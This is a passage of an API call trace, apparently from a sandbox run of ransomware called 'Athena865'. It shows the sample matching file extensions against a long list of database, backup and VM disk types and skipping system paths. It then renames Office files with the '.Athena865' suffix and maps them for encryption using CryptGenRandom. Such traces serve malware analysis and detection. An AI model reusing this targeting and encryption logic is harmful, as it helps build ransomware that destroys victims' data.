lstrcmpiW (lpString1=".VSL", lpString2="kexi") returned -1 [0146.651] lstrlenW (lpString="kexic") returned 5 [0146.651] lstrcmpiW (lpString1="B.VSL", lpString2="kexic") returned -1 [0146.651] lstrlenW (lpString="kexis") returned 5 [0146.651] lstrcmpiW (lpString1="B.VSL", lpString2="kexis") returned -1 [0146.651] lstrlenW (lpString="lgc") returned 3 [0146.651] lstrcmpiW (lpString1="VSL", lpString2="lgc") returned 1 [0146.651] lstrlenW (lpString="lwx") returned 3 [0146.651] lstrcmpiW (lpString1="VSL", lpString2="lwx") returned 1 [0146.651] lstrlenW (lpString="maf") returned 3 [0146.651] lstrcmpiW (lpString1="VSL", lpString2="maf") returned 1 [0146.651] lstrlenW (lpString="maq") returned 3 [0146.651] lstrcmpiW (lpString1="VSL", lpString2="maq") returned 1 [0146.651] lstrlenW (lpString="mar") returned 3 [0146.652] lstrcmpiW (lpString1="VSL", lpString2="mar") returned 1 [0146.652] lstrlenW (lpString="marshal") returned 7 [0146.652] lstrcmpiW (lpString1="WEB.VSL", lpString2="marshal") returned 1 [0146.652] lstrlenW (lpString="mas") returned 3 [0146.652] lstrcmpiW (lpString1="VSL", lpString2="mas") returned 1 [0146.652] lstrlenW (lpString="mav") returned 3 [0146.652] lstrcmpiW (lpString1="VSL", lpString2="mav") returned 1 [0146.652] lstrlenW (lpString="maw") returned 3 [0146.652] lstrcmpiW (lpString1="VSL", lpString2="maw") returned 1 [0146.652] lstrlenW (lpString="mdbhtml") returned 7 [0146.652] lstrcmpiW (lpString1="WEB.VSL", lpString2="mdbhtml") returned 1 [0146.652] lstrlenW (lpString="mdn") returned 3 [0146.652] lstrcmpiW (lpString1="VSL", lpString2="mdn") returned 1 [0146.652] lstrlenW (lpString="mdt") returned 3 [0146.652] lstrcmpiW (lpString1="VSL", lpString2="mdt") returned 1 [0146.652] lstrlenW (lpString="mfd") returned 3 [0146.652] lstrcmpiW (lpString1="VSL", lpString2="mfd") returned 1 [0146.652] lstrlenW (lpString="mpd") returned 3 [0146.652] lstrcmpiW (lpString1="VSL", lpString2="mpd") returned 1 [0146.652] lstrlenW (lpString="mrg") returned 3 [0146.652] lstrcmpiW (lpString1="VSL", lpString2="mrg") returned 1 [0146.652] lstrlenW (lpString="mud") returned 3 [0146.652] lstrcmpiW (lpString1="VSL", lpString2="mud") returned 1 [0146.652] lstrlenW (lpString="mwb") returned 3 [0146.652] lstrcmpiW (lpString1="VSL", lpString2="mwb") returned 1 [0146.652] lstrlenW (lpString="myd") returned 3 [0146.652] lstrcmpiW (lpString1="VSL", lpString2="myd") returned 1 [0146.652] lstrlenW (lpString="ndf") returned 3 [0146.652] lstrcmpiW (lpString1="VSL", lpString2="ndf") returned 1 [0146.653] lstrlenW (lpString="nnt") returned 3 [0146.653] lstrcmpiW (lpString1="VSL", lpString2="nnt") returned 1 [0146.653] lstrlenW (lpString="nrmlib") returned 6 [0146.653] lstrcmpiW (lpString1="EB.VSL", lpString2="nrmlib") returned -1 [0146.653] lstrlenW (lpString="ns2") returned 3 [0146.653] lstrcmpiW (lpString1="VSL", lpString2="ns2") returned 1 [0146.653] lstrlenW (lpString="ns3") returned 3 [0146.653] lstrcmpiW (lpString1="VSL", lpString2="ns3") returned 1 [0146.653] lstrlenW (lpString="ns4") returned 3 [0146.653] lstrcmpiW (lpString1="VSL", lpString2="ns4") returned 1 [0146.653] lstrlenW (lpString="nsf") returned 3 [0146.653] lstrcmpiW (lpString1="VSL", lpString2="nsf") returned 1 [0146.653] lstrlenW (lpString="nv") returned 2 [0146.653] lstrcmpiW (lpString1="SL", lpString2="nv") returned 1 [0146.653] lstrlenW (lpString="nv2") returned 3 [0146.653] lstrcmpiW (lpString1="VSL", lpString2="nv2") returned 1 [0146.653] lstrlenW (lpString="nwdb") returned 4 [0146.653] lstrcmpiW (lpString1=".VSL", lpString2="nwdb") returned -1 [0146.653] lstrlenW (lpString="nyf") returned 3 [0146.653] lstrcmpiW (lpString1="VSL", lpString2="nyf") returned 1 [0146.653] lstrlenW (lpString="odb") returned 3 [0146.653] lstrcmpiW (lpString1="VSL", lpString2="odb") returned 1 [0146.653] lstrlenW (lpString="odb") returned 3 [0146.653] lstrcmpiW (lpString1="VSL", lpString2="odb") returned 1 [0146.653] lstrlenW (lpString="oqy") returned 3 [0146.653] lstrcmpiW (lpString1="VSL", lpString2="oqy") returned 1 [0146.653] lstrlenW (lpString="ora") returned 3 [0146.653] lstrcmpiW (lpString1="VSL", lpString2="ora") returned 1 [0146.653] lstrlenW (lpString="orx") returned 3 [0146.653] lstrcmpiW (lpString1="VSL", lpString2="orx") returned 1 [0146.654] lstrlenW (lpString="owc") returned 3 [0146.654] lstrcmpiW (lpString1="VSL", lpString2="owc") returned 1 [0146.654] lstrlenW (lpString="p96") returned 3 [0146.654] lstrcmpiW (lpString1="VSL", lpString2="p96") returned 1 [0146.654] lstrlenW (lpString="p97") returned 3 [0146.654] lstrcmpiW (lpString1="VSL", lpString2="p97") returned 1 [0146.654] lstrlenW (lpString="pan") returned 3 [0146.654] lstrcmpiW (lpString1="VSL", lpString2="pan") returned 1 [0146.654] lstrlenW (lpString="pdb") returned 3 [0146.654] lstrcmpiW (lpString1="VSL", lpString2="pdb") returned 1 [0146.654] lstrlenW (lpString="pdm") returned 3 [0146.654] lstrcmpiW (lpString1="VSL", lpString2="pdm") returned 1 [0146.654] lstrlenW (lpString="pnz") returned 3 [0146.654] lstrcmpiW (lpString1="VSL", lpString2="pnz") returned 1 [0146.654] lstrlenW (lpString="qry") returned 3 [0146.654] lstrcmpiW (lpString1="VSL", lpString2="qry") returned 1 [0146.654] lstrlenW (lpString="qvd") returned 3 [0146.654] lstrcmpiW (lpString1="VSL", lpString2="qvd") returned 1 [0146.654] lstrlenW (lpString="rbf") returned 3 [0146.654] lstrcmpiW (lpString1="VSL", lpString2="rbf") returned 1 [0146.654] lstrlenW (lpString="rctd") returned 4 [0146.654] lstrcmpiW (lpString1=".VSL", lpString2="rctd") returned -1 [0146.654] lstrlenW (lpString="rod") returned 3 [0146.654] lstrcmpiW (lpString1="VSL", lpString2="rod") returned 1 [0146.654] lstrlenW (lpString="rodx") returned 4 [0146.654] lstrcmpiW (lpString1=".VSL", lpString2="rodx") returned -1 [0146.654] lstrlenW (lpString="rpd") returned 3 [0146.654] lstrcmpiW (lpString1="VSL", lpString2="rpd") returned 1 [0146.654] lstrlenW (lpString="rsd") returned 3 [0146.655] lstrcmpiW (lpString1="VSL", lpString2="rsd") returned 1 [0146.655] lstrlenW (lpString="sas7bdat") returned 8 [0146.655] lstrcmpiW (lpString1="SWEB.VSL", lpString2="sas7bdat") returned 1 [0146.655] lstrlenW (lpString="sbf") returned 3 [0146.655] lstrcmpiW (lpString1="VSL", lpString2="sbf") returned 1 [0146.655] lstrlenW (lpString="scx") returned 3 [0146.655] lstrcmpiW (lpString1="VSL", lpString2="scx") returned 1 [0146.655] lstrlenW (lpString="sdb") returned 3 [0146.655] lstrcmpiW (lpString1="VSL", lpString2="sdb") returned 1 [0146.655] lstrlenW (lpString="sdc") returned 3 [0146.655] lstrcmpiW (lpString1="VSL", lpString2="sdc") returned 1 [0146.655] lstrlenW (lpString="sdf") returned 3 [0146.655] lstrcmpiW (lpString1="VSL", lpString2="sdf") returned 1 [0146.655] lstrlenW (lpString="sis") returned 3 [0146.655] lstrcmpiW (lpString1="VSL", lpString2="sis") returned 1 [0146.655] lstrlenW (lpString="spq") returned 3 [0146.655] lstrcmpiW (lpString1="VSL", lpString2="spq") returned 1 [0146.655] lstrlenW (lpString="te") returned 2 [0146.655] lstrcmpiW (lpString1="SL", lpString2="te") returned -1 [0146.655] lstrlenW (lpString="teacher") returned 7 [0146.655] lstrcmpiW (lpString1="WEB.VSL", lpString2="teacher") returned 1 [0146.655] lstrlenW (lpString="tmd") returned 3 [0146.655] lstrcmpiW (lpString1="VSL", lpString2="tmd") returned 1 [0146.655] lstrlenW (lpString="tps") returned 3 [0146.655] lstrcmpiW (lpString1="VSL", lpString2="tps") returned 1 [0146.655] lstrlenW (lpString="trc") returned 3 [0146.655] lstrcmpiW (lpString1="VSL", lpString2="trc") returned 1 [0146.655] lstrlenW (lpString="trc") returned 3 [0146.656] lstrcmpiW (lpString1="VSL", lpString2="trc") returned 1 [0146.656] lstrlenW (lpString="trm") returned 3 [0146.656] lstrcmpiW (lpString1="VSL", lpString2="trm") returned 1 [0146.656] lstrlenW (lpString="udb") returned 3 [0146.656] lstrcmpiW (lpString1="VSL", lpString2="udb") returned 1 [0146.656] lstrlenW (lpString="udl") returned 3 [0146.656] lstrcmpiW (lpString1="VSL", lpString2="udl") returned 1 [0146.656] lstrlenW (lpString="usr") returned 3 [0146.656] lstrcmpiW (lpString1="VSL", lpString2="usr") returned 1 [0146.656] lstrlenW (lpString="v12") returned 3 [0146.656] lstrcmpiW (lpString1="VSL", lpString2="v12") returned 1 [0146.656] lstrlenW (lpString="vis") returned 3 [0146.656] lstrcmpiW (lpString1="VSL", lpString2="vis") returned 1 [0146.656] lstrlenW (lpString="vpd") returned 3 [0146.656] lstrcmpiW (lpString1="VSL", lpString2="vpd") returned 1 [0146.656] lstrlenW (lpString="vvv") returned 3 [0146.656] lstrcmpiW (lpString1="VSL", lpString2="vvv") returned -1 [0146.656] lstrlenW (lpString="wdb") returned 3 [0146.656] lstrcmpiW (lpString1="VSL", lpString2="wdb") returned -1 [0146.656] lstrlenW (lpString="wmdb") returned 4 [0146.656] lstrcmpiW (lpString1=".VSL", lpString2="wmdb") returned -1 [0146.656] lstrlenW (lpString="wrk") returned 3 [0146.656] lstrcmpiW (lpString1="VSL", lpString2="wrk") returned -1 [0146.656] lstrlenW (lpString="xdb") returned 3 [0146.656] lstrcmpiW (lpString1="VSL", lpString2="xdb") returned -1 [0146.656] lstrlenW (lpString="xld") returned 3 [0146.656] lstrcmpiW (lpString1="VSL", lpString2="xld") returned -1 [0146.656] lstrlenW (lpString="xmlff") returned 5 [0146.656] lstrcmpiW (lpString1="B.VSL", lpString2="xmlff") returned -1 [0146.657] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.Athena865") returned 70 [0146.657] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl.athena865"), dwFlags=0x1) returned 1 [0146.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.659] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=48488) returned 1 [0146.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.659] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.660] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.660] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.660] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc070, lpName=0x0) returned 0x154 [0146.662] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc070) returned 0x100000 [0146.664] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.665] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.665] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0146.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0146.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.666] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.666] CloseHandle (hObject=0x154) returned 1 [0146.666] CloseHandle (hObject=0x17c) returned 1 [0146.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.667] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9271b400, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9271b400, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x61204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETLANG.HXS", cAlternateFileName="")) returned 1 [0146.667] lstrcmpiW (lpString1="SETLANG.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.667] lstrcmpiW (lpString1="SETLANG.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.667] lstrcmpiW (lpString1="SETLANG.HXS", lpString2=".") returned 1 [0146.667] lstrcmpiW (lpString1="SETLANG.HXS", lpString2="..") returned 1 [0146.667] lstrcmpiW (lpString1="SETLANG.HXS", lpString2="windows") returned -1 [0146.667] lstrcmpiW (lpString1="SETLANG.HXS", lpString2="bootmgr") returned 1 [0146.667] lstrcmpiW (lpString1="SETLANG.HXS", lpString2="temp") returned -1 [0146.667] lstrcmpiW (lpString1="SETLANG.HXS", lpString2="pagefile.sys") returned 1 [0146.667] lstrcmpiW (lpString1="SETLANG.HXS", lpString2="boot") returned 1 [0146.667] lstrcmpiW (lpString1="SETLANG.HXS", lpString2="ids.txt") returned 1 [0146.667] lstrcmpiW (lpString1="SETLANG.HXS", lpString2="ntuser.dat") returned 1 [0146.667] lstrcmpiW (lpString1="SETLANG.HXS", lpString2="perflogs") returned 1 [0146.667] lstrcmpiW (lpString1="SETLANG.HXS", lpString2="MSBuild") returned 1 [0146.667] lstrlenW (lpString="SETLANG.HXS") returned 11 [0146.667] lstrcpyW (in: lpString1=0x241e8a8, lpString2="SETLANG.HXS" | out: lpString1="SETLANG.HXS") returned="SETLANG.HXS" [0146.667] lstrlenW (lpString="SETLANG.HXS") returned 11 [0146.667] lstrlenW (lpString="Athena865") returned 9 [0146.667] lstrcmpiW (lpString1="TLANG.HXS", lpString2="Athena865") returned 1 [0146.668] lstrlenW (lpString=".dll") returned 4 [0146.668] lstrcmpiW (lpString1="SETLANG.HXS", lpString2=".dll") returned 1 [0146.668] lstrlenW (lpString=".lnk") returned 4 [0146.668] lstrcmpiW (lpString1="SETLANG.HXS", lpString2=".lnk") returned 1 [0146.668] lstrlenW (lpString=".ini") returned 4 [0146.668] lstrcmpiW (lpString1="SETLANG.HXS", lpString2=".ini") returned 1 [0146.668] lstrlenW (lpString=".sys") returned 4 [0146.668] lstrcmpiW (lpString1="SETLANG.HXS", lpString2=".sys") returned 1 [0146.668] lstrlenW (lpString="SETLANG.HXS") returned 11 [0146.668] lstrlenW (lpString="bak") returned 3 [0146.668] lstrcmpiW (lpString1="HXS", lpString2="bak") returned 1 [0146.668] lstrlenW (lpString="ba_") returned 3 [0146.668] lstrcmpiW (lpString1="HXS", lpString2="ba_") returned 1 [0146.668] lstrlenW (lpString="dbb") returned 3 [0146.668] lstrcmpiW (lpString1="HXS", lpString2="dbb") returned 1 [0146.668] lstrlenW (lpString="vmdk") returned 4 [0146.668] lstrcmpiW (lpString1=".HXS", lpString2="vmdk") returned -1 [0146.668] lstrlenW (lpString="rar") returned 3 [0146.668] lstrcmpiW (lpString1="HXS", lpString2="rar") returned -1 [0146.668] lstrlenW (lpString="zip") returned 3 [0146.668] lstrcmpiW (lpString1="HXS", lpString2="zip") returned -1 [0146.668] lstrlenW (lpString="tgz") returned 3 [0146.668] lstrcmpiW (lpString1="HXS", lpString2="tgz") returned -1 [0146.668] lstrlenW (lpString="vbox") returned 4 [0146.668] lstrcmpiW (lpString1=".HXS", lpString2="vbox") returned -1 [0146.668] lstrlenW (lpString="vdi") returned 3 [0146.668] lstrcmpiW (lpString1="HXS", lpString2="vdi") returned -1 [0146.668] lstrlenW (lpString="vhd") returned 3 [0146.668] lstrcmpiW (lpString1="HXS", lpString2="vhd") returned -1 [0146.668] lstrlenW (lpString="vhdx") returned 4 [0146.669] lstrcmpiW (lpString1=".HXS", lpString2="vhdx") returned -1 [0146.669] lstrlenW (lpString="avhd") returned 4 [0146.669] lstrcmpiW (lpString1=".HXS", lpString2="avhd") returned -1 [0146.669] lstrlenW (lpString="db") returned 2 [0146.669] lstrcmpiW (lpString1="XS", lpString2="db") returned 1 [0146.669] lstrlenW (lpString="db2") returned 3 [0146.669] lstrcmpiW (lpString1="HXS", lpString2="db2") returned 1 [0146.669] lstrlenW (lpString="db3") returned 3 [0146.669] lstrcmpiW (lpString1="HXS", lpString2="db3") returned 1 [0146.669] lstrlenW (lpString="dbf") returned 3 [0146.669] lstrcmpiW (lpString1="HXS", lpString2="dbf") returned 1 [0146.669] lstrlenW (lpString="mdf") returned 3 [0146.669] lstrcmpiW (lpString1="HXS", lpString2="mdf") returned -1 [0146.669] lstrlenW (lpString="mdb") returned 3 [0146.669] lstrcmpiW (lpString1="HXS", lpString2="mdb") returned -1 [0146.669] lstrlenW (lpString="sql") returned 3 [0146.669] lstrcmpiW (lpString1="HXS", lpString2="sql") returned -1 [0146.669] lstrlenW (lpString="sqlite") returned 6 [0146.669] lstrcmpiW (lpString1="NG.HXS", lpString2="sqlite") returned -1 [0146.669] lstrlenW (lpString="sqlite3") returned 7 [0146.669] lstrcmpiW (lpString1="ANG.HXS", lpString2="sqlite3") returned -1 [0146.669] lstrlenW (lpString="sqlitedb") returned 8 [0146.669] lstrcmpiW (lpString1="LANG.HXS", lpString2="sqlitedb") returned -1 [0146.669] lstrlenW (lpString="xml") returned 3 [0146.669] lstrcmpiW (lpString1="HXS", lpString2="xml") returned -1 [0146.669] lstrlenW (lpString="$er") returned 3 [0146.669] lstrcmpiW (lpString1="HXS", lpString2="$er") returned 1 [0146.669] lstrlenW (lpString="4dd") returned 3 [0146.669] lstrcmpiW (lpString1="HXS", lpString2="4dd") returned 1 [0146.669] lstrlenW (lpString="4dl") returned 3 [0146.670] lstrcmpiW (lpString1="HXS", lpString2="4dl") returned 1 [0146.670] lstrlenW (lpString="^^^") returned 3 [0146.670] lstrcmpiW (lpString1="HXS", lpString2="^^^") returned 1 [0146.670] lstrlenW (lpString="abs") returned 3 [0146.670] lstrcmpiW (lpString1="HXS", lpString2="abs") returned 1 [0146.670] lstrlenW (lpString="abx") returned 3 [0146.670] lstrcmpiW (lpString1="HXS", lpString2="abx") returned 1 [0146.670] lstrlenW (lpString="accdb") returned 5 [0146.670] lstrcmpiW (lpString1="G.HXS", lpString2="accdb") returned 1 [0146.670] lstrlenW (lpString="accdc") returned 5 [0146.670] lstrcmpiW (lpString1="G.HXS", lpString2="accdc") returned 1 [0146.670] lstrlenW (lpString="accde") returned 5 [0146.670] lstrcmpiW (lpString1="G.HXS", lpString2="accde") returned 1 [0146.670] lstrlenW (lpString="accdr") returned 5 [0146.670] lstrcmpiW (lpString1="G.HXS", lpString2="accdr") returned 1 [0146.670] lstrlenW (lpString="accdt") returned 5 [0146.670] lstrcmpiW (lpString1="G.HXS", lpString2="accdt") returned 1 [0146.670] lstrlenW (lpString="accdw") returned 5 [0146.670] lstrcmpiW (lpString1="G.HXS", lpString2="accdw") returned 1 [0146.670] lstrlenW (lpString="accft") returned 5 [0146.670] lstrcmpiW (lpString1="G.HXS", lpString2="accft") returned 1 [0146.670] lstrlenW (lpString="adb") returned 3 [0146.670] lstrcmpiW (lpString1="HXS", lpString2="adb") returned 1 [0146.670] lstrlenW (lpString="adb") returned 3 [0146.670] lstrcmpiW (lpString1="HXS", lpString2="adb") returned 1 [0146.670] lstrlenW (lpString="ade") returned 3 [0146.670] lstrcmpiW (lpString1="HXS", lpString2="ade") returned 1 [0146.670] lstrlenW (lpString="adf") returned 3 [0146.670] lstrcmpiW (lpString1="HXS", lpString2="adf") returned 1 [0146.670] lstrlenW (lpString="adn") returned 3 [0146.670] lstrcmpiW (lpString1="HXS", lpString2="adn") returned 1 [0146.671] lstrlenW (lpString="adp") returned 3 [0146.671] lstrcmpiW (lpString1="HXS", lpString2="adp") returned 1 [0146.671] lstrlenW (lpString="alf") returned 3 [0146.671] lstrcmpiW (lpString1="HXS", lpString2="alf") returned 1 [0146.671] lstrlenW (lpString="ask") returned 3 [0146.671] lstrcmpiW (lpString1="HXS", lpString2="ask") returned 1 [0146.671] lstrlenW (lpString="btr") returned 3 [0146.671] lstrcmpiW (lpString1="HXS", lpString2="btr") returned 1 [0146.671] lstrlenW (lpString="cat") returned 3 [0146.671] lstrcmpiW (lpString1="HXS", lpString2="cat") returned 1 [0146.671] lstrlenW (lpString="cdb") returned 3 [0146.671] lstrcmpiW (lpString1="HXS", lpString2="cdb") returned 1 [0146.671] lstrlenW (lpString="ckp") returned 3 [0146.671] lstrcmpiW (lpString1="HXS", lpString2="ckp") returned 1 [0146.671] lstrlenW (lpString="cma") returned 3 [0146.671] lstrcmpiW (lpString1="HXS", lpString2="cma") returned 1 [0146.671] lstrlenW (lpString="cpd") returned 3 [0146.671] lstrcmpiW (lpString1="HXS", lpString2="cpd") returned 1 [0146.671] lstrlenW (lpString="dacpac") returned 6 [0146.671] lstrcmpiW (lpString1="NG.HXS", lpString2="dacpac") returned 1 [0146.671] lstrlenW (lpString="dad") returned 3 [0146.671] lstrcmpiW (lpString1="HXS", lpString2="dad") returned 1 [0146.671] lstrlenW (lpString="dadiagrams") returned 10 [0146.671] lstrcmpiW (lpString1="ETLANG.HXS", lpString2="dadiagrams") returned 1 [0146.671] lstrlenW (lpString="daschema") returned 8 [0146.671] lstrcmpiW (lpString1="LANG.HXS", lpString2="daschema") returned 1 [0146.671] lstrlenW (lpString="db-journal") returned 10 [0146.671] lstrcmpiW (lpString1="ETLANG.HXS", lpString2="db-journal") returned 1 [0146.671] lstrlenW (lpString="db-shm") returned 6 [0146.671] lstrcmpiW (lpString1="NG.HXS", lpString2="db-shm") returned 1 [0146.672] lstrlenW (lpString="db-wal") returned 6 [0146.672] lstrcmpiW (lpString1="NG.HXS", lpString2="db-wal") returned 1 [0146.672] lstrlenW (lpString="dbc") returned 3 [0146.672] lstrcmpiW (lpString1="HXS", lpString2="dbc") returned 1 [0146.672] lstrlenW (lpString="dbs") returned 3 [0146.672] lstrcmpiW (lpString1="HXS", lpString2="dbs") returned 1 [0146.672] lstrlenW (lpString="dbt") returned 3 [0146.672] lstrcmpiW (lpString1="HXS", lpString2="dbt") returned 1 [0146.672] lstrlenW (lpString="dbv") returned 3 [0146.672] lstrcmpiW (lpString1="HXS", lpString2="dbv") returned 1 [0146.672] lstrlenW (lpString="dbx") returned 3 [0146.672] lstrcmpiW (lpString1="HXS", lpString2="dbx") returned 1 [0146.672] lstrlenW (lpString="dcb") returned 3 [0146.672] lstrcmpiW (lpString1="HXS", lpString2="dcb") returned 1 [0146.672] lstrcmpiW (lpString1="HXS", lpString2="dct") returned 1 [0146.672] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.Athena865") returned 69 [0146.672] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs.athena865"), dwFlags=0x1) returned 1 [0146.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.675] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=397828) returned 1 [0146.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.675] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.676] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.676] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.676] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x61510, lpName=0x0) returned 0x154 [0146.678] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x61510) returned 0x2bb0000 [0146.695] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.696] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.696] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0146.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0146.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.697] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0146.700] CloseHandle (hObject=0x154) returned 1 [0146.700] CloseHandle (hObject=0x17c) returned 1 [0146.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, 